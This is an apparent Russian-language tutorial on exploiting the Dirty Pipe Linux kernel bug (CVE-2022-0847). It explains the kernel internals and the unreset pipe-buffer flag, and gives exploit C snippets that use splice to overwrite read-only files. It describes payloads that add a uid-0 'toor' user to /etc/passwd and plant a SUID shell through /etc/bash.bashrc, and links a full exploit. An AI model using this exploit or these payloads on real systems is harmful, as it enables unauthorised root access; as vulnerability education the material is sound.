
Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) — одна из самых значительных уязвимостей безопасности в ядре Linux версий 5.8 – 5.15.24, обнаруженная Максом Келлерманном в 2022 году. Эта уязвимость позволяет обычным пользователям (без специальных привилегий) перезаписывать данные в файлах, которые должны быть доступны только для чтения. Понимание основных концепций
Прежде чем подробно обсуждать Dirty Pipe, необходимо понять некоторые внутренние концепции ядра Linux:
1. Страничная организация памяти (Paging)
Страничная организация памяти — это механизм управления памятью в ядре Linux, при котором система памяти делит физическую память на небольшие блоки фиксированного размера, называемые кадрами страниц (page frames), а виртуальная память делится на блоки того же размера, называемые страницами (pages).
Этот механизм позволяет ядру отображать виртуальное адресное пространство процессов на физическую память не последовательным образом, что критически важно для эффективности и безопасности в современных системах.
2. Страница (Виртуальная память)
В Linux страница — это наименьшая единица управления физической памятью, обрабатываемая ядром.
Аналогия: ОЗУ — это огромная книга. Страница — один лист бумаги в этой книге. Ядро не перемещает данные бит за битом, а лист за листом (страница за страницей).
Обычно в современных архитектурах (например, x86_64) стандартный размер одной страницы составляет 4 КБ (4096 байтов).
3. Кэш страниц (Page Cache)
Это ключевая часть. Linux не читает файлы напрямую с диска каждый раз, потому что это медленно. Ядро копирует содержимое файлов в ОЗУ, которое называется кэшем страниц (Page Cache).
4. Буфер канала (Pipe Buffer)
Канал — это механизм межпроцессного взаимодействия (IPC). Внутренне ядро управляет каналами с помощью структуры данных pipe_inode_info. Данные внутри канала хранятся в «буфере», называемом буфером канала (Pipe Buffer).
5. Флаг буфера канала (PIPE_BUF_FLAG_CAN_MERGE)
Флаг PIPE_BUF_FLAG_CAN_MERGE был введён в ядре Linux версии 5.8.
Именно здесь кроется основная уязвимость. Флаг называется PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() — это системный вызов для перемещения данных между двумя файловыми дескрипторами без копирования данных между пространством ядра и пользовательским пространством. Это часто называют механизмом нулевого копирования (Zero-copy).
Системный вызов splice() является «главным действующим лицом» в Dirty Pipe:
7. Копирование при записи (Copy on Write, CoW)
Механизм копирования при записи (CoW) — это стратегия оптимизации управления памятью, используемая ядром Linux для отсрочки копирования данных до тех пор, пока это не станет абсолютно необходимым.
Связь между копированием при записи (CoW) и эксплойтом Dirty Pipe (CVE-2022-0847) заключается в том, как небольшая ошибка в ядре Linux успешно «обманывает» механизм CoW, позволяя записывать данные в файлы, которые должны быть доступны только для чтения.
8. Грязная страница (Dirty Page)
Грязная страница — это страница памяти в ОЗУ, которая была изменена приложением, но изменения ещё не были записаны обратно на вторичное хранилище (например, SSD или жёсткий диск).
Анализ уязвимости Dirty Pipe
Dirty Pipe — это тип логической ошибки (logic bug) в обработке буфера канала в ядре Linux версий 5.8 – 5.15.24. Основная проблема заключается в механизме каналов (канал межпроцессного взаимодействия) и в том, как ядро управляет кэшем страниц (память, хранящая копии данных файлов с диска). Ключевая проблема — ошибка во флаге PIPE_BUF_FLAG_CAN_MERGE.
Основная проблема заключается в том, что ядро не смогло должным образом повторно инициализировать этот флаг (логическая ошибка). Вот анализ кода: В функциях copy_page_to_iter_pipe и push_to_pipe в ядре Linux до версии 5.16.11 при выполнении операций splice ядро подготавливает структуру pipe_buffer, но забывает очистить поле .flags.
Уязвимая структура кода:
// Местоположение проблемы: fs/pipe.c или include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- ЭТОТ ФЛАГ НЕ СБРАСЫВАЕТСЯ
unsigned long private;
};
Код до патча (уязвимый):
// lib/iov_iter.c - До патча CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------пропуск-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// ПРОБЛЕМА: buf->flags ВООБЩЕ НЕ ЗАТРАГИВАЕТСЯ
// --------пропуск----------------------
}
Код после патча (исправленный):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- ПОЛНЫЙ СБРОС ДО НУЛЯ
Почему buf->flags = 0 лучше, чем простое выключение определённого флага? Потому что pipe_buffer — это повторно используемая структура. Если мы выключим только один флаг (CAN_MERGE), другие «мусорные» флаги от предыдущего использования канала (например, PIPE_BUF_FLAG_GIFT или другие пользовательские флаги) могут остаться и вызвать странное поведение или новые дыры в безопасности в будущем. Установка в 0 гарантирует, что буфер находится в полностью «чистом» состоянии.
Почему это можно использовать?
Вот поток эксплуатации Dirty Pipe:
1. Этап загрязнения: Атакующий вставляет данные в канал с помощью write(). Обычная операция write() устанавливает buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Этап слива: Атакующий читает эти данные. Буфер теперь логически «пуст», но его структура всё ещё существует в памяти ядра с активным флагом CAN_MERGE.
3. Этап splice: Когда системный вызов splice() отображает файл, доступный только для чтения, в канал, вызывается функция copy_page_to_iter_pipe(). Из-за описанной выше ошибки она заполняет buf->page страницей памяти исходного файла, но не сбрасывает buf->flags.
4. Выполнение: Ядро считает, что этот буфер файла всё ещё может быть объединён. Следующая запись в канал не создаст новый буфер, а напрямую изменит страницу памяти (кэш страниц), которая была отображена ранее.
На этом этапе данные атакующего уже хранятся в ОЗУ. Страница в ОЗУ, содержимое которой отличается от того, что на диске, называется «грязной страницей» (Dirty Page). Если этот этап достигнут успешно, это означает, что эксплуатация прошла успешно! Как только кэш страниц изменяется, эффект мгновенный. Если мы перезаписываем /etc/passwd в ОЗУ, мы можем немедленно выполнить su root в этот самый момент.
Эксплуатация Dirty Pipe
Для эксплуатации Dirty Pipe нам не нужно отключать какие-либо защиты ядра, потому что все защиты ядра неактуальны для предотвращения этой логической ошибки. Чтобы использовать логическую ошибку Dirty Page, наш эксплойт выполнит следующие шаги:
Шаг 1. Подготовить канал и заполнить его до упора с целью активации флага PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Шаг 2. Опустошить канал.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice не удался");
return 0;
}
write(p[1], payload, strlen(payload));
Полный код эксплойта для эксплуатации Dirty Pipe Полный код эксплойта доступен по адресу https://github.com/bluedragonsecurity/dirtypipe2
Примечание: Полный код эксплойта содержит функции для проверки версии ядра, подготовки канала, внедрения полезной нагрузки и два различных метода эксплуатации, нацеленных на /etc/passwd и /etc/bash.bashrc.
Методы эксплуатации
Указанный выше эксплойт использует 2 различные полезные нагрузки с той целью, что если первая полезная нагрузка не сработает, она будет дополнена второй.
Полезная нагрузка 1: записывает в /etc/passwd для добавления нового пользователя с именем 'toor' и uid 0. Если эта полезная нагрузка сработает, мы можем немедленно получить root-оболочку.
Полезная нагрузка 2: нацелена на размещение SUID-оболочки bash в /tmp/x. В частности, для второй полезной нагрузки необходимо дождаться входа root-пользователя в систему, поскольку полезная нагрузка для размещения SUID-оболочки внедряется в /etc/bash.bashrc. В Linux команды, содержащиеся в /etc/bash.bashrc, выполняются каждым пользователем, входящим в систему, в момент входа.
Тестирование эксплойта
В этом примере я использовал ядро Linux версии 5.13, запущенное на Lubuntu 20.04.5 в VirtualBox в качестве гостевой ОС, а хостовая ОС — Kali Linux 2025.4. На машине с Lubuntu 20.04.5 скомпилируйте эксплойт:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Ссылки